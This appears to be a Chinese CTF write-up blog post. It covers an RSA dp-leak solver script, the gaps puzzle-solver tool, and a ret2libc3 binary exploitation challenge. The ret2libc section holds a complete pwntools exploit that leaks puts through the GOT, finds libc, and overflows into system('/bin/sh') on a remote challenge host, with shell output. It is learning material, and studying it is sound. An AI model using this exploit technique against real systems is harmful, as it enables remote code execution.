0x01 RSA

RSA题目,原理还没看,但是网上有根据这些数值解答案的脚本

开个docker UBUNTU1808安装个py2.7就行了

root@cb7c2e25b2df:/# python waa.py
flag{271c7ec33858d491f88a83e3d35ac411}

#!/usr/bin/python  
#coding:utf-8  
  
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes

e= 65537
n = 132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054997624354040367339834740402484489217092916932927523665031792688652405172441259540233143526085691290500429921362666149858204259223146323188880312113596285869242888916181594189809400830983088384594648368192585387
c = 105561263344197224500437985369890277605607419491189003046055021715638244356677672489534224683808733691744645034854814587326664189059178955870261337977176277155277781998771630340367082086864012637516012166291357901866101513273848851471805311144501065601880125348980410104702516232148506526616670074084982119236

dp = 591317922916712527852981087692920294081526731184970969084059479425641071480269272618065340614260809042370271672930352969371906804874484366604552515101473
for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)/i)+1)==0:
            p=((dp*e-1)/i)+1
            q=n/(((dp*e-1)/i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            m = pow(c,d,n)
            print long_to_bytes(m)


##flag{271c7ec33858d491f88a83e3d35ac411}

如果有空的话来写原理。

0x02 GAPS

这个库是过期的,但是稍微改改版本的话可以直接安装使用,然后处理的细节

git clone https://github.com/nemanja-m/gaps.git
cd gaps  
pip install -r requirements.txt
sudo apt-get install python-tk
pip install -e .

gaps --image=out.jpg --generations=50 --population=120 --size=50

--image            指向拼图的路径
--size            拼图块的像素尺寸
--generations    遗传算法的代的数量
--population    个体数量
--verbose        每一代训练结束后展示最佳结果
--save            将拼图还原为图像

┌──(root?kali)-[/home/kali/ctf/misc/gaps]
└─# gaps --image=out_4.jpg --generations=50 --size=64 --save --verbose   

用PS可以看到一个块64个

不断进行迭代,虽然没有拼出全图,但是可以看了。

out_1

out_2

out_3

out_4

out_5

0x03 ret2libc3

readelf -a ./libc.so| grep "system"
readelf -a ./libc.so| grep "IO_puts"
strings ./libc.so -tx | grep "/bin/sh"

┌──(root?kali)-[/home/kali/Desktop/owo]
└─# readelf -a ./libc.so| grep "system"
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0                                                                                                        
┌──(root?kali)-[/home/kali/Desktop/owo]
└─# readelf -a ./libc.so| grep "IO_puts"
   205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.0
   
┌──(root?kali)-[/home/kali/Desktop/owo]
└─# strings ./libc.so -tx | grep "/bin/sh"
 15b82b /bin/sh

可以得到三个lib的偏移量

off_sys=0x0003ada0
off_puts=0x0005fca0
off_sh=0x15b82b

上面这个做法是不对的样子,因为按照这么查询,但是没有找到地址,地址也不对。

比如

这个是remote查询到的地址
wuhu: 0xf7df8150
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.23-0ubuntu11.2_amd64
1 - libc-2.26-lp150.11.17.1.x86_64
2 - libc6-x32_2.17-0ubuntu5.1_amd64
3 - libc6-x32_2.17-0ubuntu5_amd64
4 - libc6-x32_2.17-0ubuntu5.1_i386
5 - libc6-x32_2.17-0ubuntu5_i386
6 - libc6-i386_2.23-0ubuntu11.3_amd64
[+] Choose one : 6
libc.dump'puts': 0x5f150
libc.dump'system': 0x3a950
libc.dump'str_bin_sh': 0x15912b
libcbase: 0xf7d99000
sys_addr: 0xf7dd3950
sh_addr: 0xf7ef212b

这个是本地查询到的地址
wuhu: 0xf7d44420
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.31-8_amd64
1 - libc6-i386_2.31-9_amd64
2 - libc6-i386_2.31-7_amd64
3 - libc6-i386_2.31-10_amd64
4 - libc6-i386_2.31-11_amd64
5 - libc6-i386_2.31-12_amd64
6 - libc6_2.24-0ubuntu1_i386
7 - libc6-i386_2.31-13_amd64
8 - libc6-i386_2.31-16_amd64
9 - libc6-i386_2.31-15_amd64
[+] Choose one : 3
libc.dump'puts': 0x70420
libc.dump'system': 0x45000
libc.dump'str_bin_sh': 0x18c338
libcbase: 0xf7cd4000
sys_addr: 0xf7d19000
sh_addr: 0xf7e60338
/home/kali/Desktop/owo/wa.py:60: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(payload2)
[*] Switching to interactive mode
$ 

这样看其实差距真的很大,所以这个我现在局的应该只能用查询的方法,而不是固定的方法。

exp:

from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib

elf=ELF("ret2libc3")
#context.log_level = 'debug'
puts_got=elf.got["puts"]
puts_plt=elf.plt['puts']
main_plt=elf.symbols["_start"]

print(puts_got,puts_plt,main_plt)

#=process("./ret2libc3")
p=remote("icee.top",10010)
#p.recv()
#p.readuntil("Can you find it !?")
#p.recv()
payload='a'*(0x70)
payload+=p32(puts_plt).decode('unicode_escape')
payload+=p32(main_plt).decode('unicode_escape')
payload+=p32(puts_got).decode('unicode_escape')
#p.sendline(payload)

p.sendlineafter('Can you find it !?', payload)
puts_addr=u32(p.recv()[0:4]) #.decode('unicode_escape')

print("wuhu:",hex(puts_addr))

#cuo de 
#off_sys=0x0003ada0
#off_puts=0x0005fca0
#off_sh=0x15b82b
#off_sys = 0x3adb0
#off_puts = 0x5fcb0

#libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
#libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#sys_addr = libcbase + libc.dump('system')
#sh_addr = libcbase + libc.dump('str_bin_sh')

libc = LibcSearcher('puts', puts_addr) 
libcbase = puts_addr - libc.dump('puts')
sys_addr = libcbase + libc.dump('system')
sh_addr = libcbase + libc.dump('str_bin_sh')

#libc_base_addr = libc_start_main_addr - off_puts
print("libc.dump'puts':",hex(libc.dump('puts')))
print("libc.dump'system':",hex(libc.dump('system')))
print("libc.dump'str_bin_sh':",hex(libc.dump('str_bin_sh')))
print("libcbase:",hex(libcbase))
print("sys_addr:",hex(sys_addr))
print("sh_addr:",hex(sh_addr))
#sys_addr = libc_base_addr + off_sys
#sh_addr = libc_base_addr + off_sh

payload2='a'*0x70 #104YEKEYI
payload2+=p32(sys_addr).decode('unicode_escape')
payload2+=p32(0xdeadbeef).decode('unicode_escape')
payload2+=p32(sh_addr).decode('unicode_escape')
p.sendline(payload2)

p.interactive()

结果:

┌──(root?kali)-[/home/kali/Desktop/owo]
└─# python3 wa.py
[*] '/home/kali/Desktop/owo/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
134520856 134513760 134513872
[+] Opening connection to icee.top on port 10010: Done
/home/kali/Desktop/owo/wa.py:24: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter('Can you find it !?', payload)
/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
wuhu: 0xf7dda150
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.23-0ubuntu11.2_amd64
1 - libc-2.26-lp150.11.17.1.x86_64
2 - libc6-x32_2.17-0ubuntu5.1_amd64
3 - libc6-x32_2.17-0ubuntu5_amd64
4 - libc6-x32_2.17-0ubuntu5.1_i386
5 - libc6-x32_2.17-0ubuntu5_i386
6 - libc6-i386_2.23-0ubuntu11.3_amd64
[+] Choose one : 6
libc.dump'puts': 0x5f150
libc.dump'system': 0x3a950
libc.dump'str_bin_sh': 0x15912b
libcbase: 0xf7d7b000
sys_addr: 0xf7db5950
sh_addr: 0xf7ed412b
/home/kali/Desktop/owo/wa.py:60: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(payload2)
[*] Switching to interactive mode

No surprise anymore, system disappeard QQ.
Can you find it !?$ 
$ ls
bin
dev
flag
lib
lib32
lib64
pwn
run.sh
$ cat flag
flag{5b46ef7e-6433-4174-aa73-f0839ed4907a}
$ echo wuhu!!!
wuhu!!!
$  
flag{5b46ef7e-6433-4174-aa73-f0839ed4907a}

大概的思路:

  1. 利用main函数里面的put函数把buf给溢出一下,但这里有个小事情,IDA反编译出来的100buf其实是错的。具体是多少要看汇编的数据,因为有个AND的原因?然后这样的话就是
    0xf0 - 0x80=112个位置溢出
  2. 然后这个程序里面并没有system(),所以要自己来找system,要利用libc库。
  3. libc库中的各种地址是固定的,但是我觉得libc库不固定。
  4. libc基地址 + system函数偏移量 = system函数真实地址

    在上面的公式中,可以查找到system函数的偏移量,那么,libc的基地址怎么计算呢?这里就需要用到libc中函数的泄露技术,只要知道某个函数的偏移量和真实地址,就能用真实地址减去偏移得到libc的基地址。要泄露某个函数,需要在程序中已经执行过该函数,本题中,在gets函数溢出点之前,执行了两个printf,第一个带换行的printf实际上调用的还是puts函数,我们就来泄露这个函数的地址。
    执行完puts函数(带换行的printf),真实地址已经写入到了got表,一般的方法也是got表泄露,我们得到puts函数的gots地址后,可以把这个地址作为参数传递给puts函数,则会把这个地址里的数据,即puts函数的真实地址输出出来,这样,就可以得到puts函数的真实地址,而后用下面的公式计算libc的基地址:

    libc基地址 = puts函数真实地址 - puts函数偏移量

    gets函数执行后,目的是取得puts的真实地址,这样虽然得到了puts的真实地址,但是程序已经执行完了,因此,需要在送入gets函数的puts的下一条放入main的地址,让程序再回来执行一遍,并到gets点后再进行溢出。这里的逻辑有一些乱,大致是这样:

    main函数-->puts函数泄露got表地址-->gets函数溢出点送入puts函数plt及参数(参数为puts got)-->main函数-->gets函数再溢出
  5. 然后就可以进行溢出,跳地址,多跳几次循环,然后就可以拿到bin/sh
  6. 大概就是这个样子..可能会有不对的地方,还望指正。
  7. 参考链接:

    https://blog.csdn.net/weixin_43363675/article/details/118056125
    https://www.jianshu.com/p/57e30c443ec6

pwn2不做了..qwq

最后修改:2021 年 10 月 09 日
如果觉得我的文章对你有用,请随意赞赏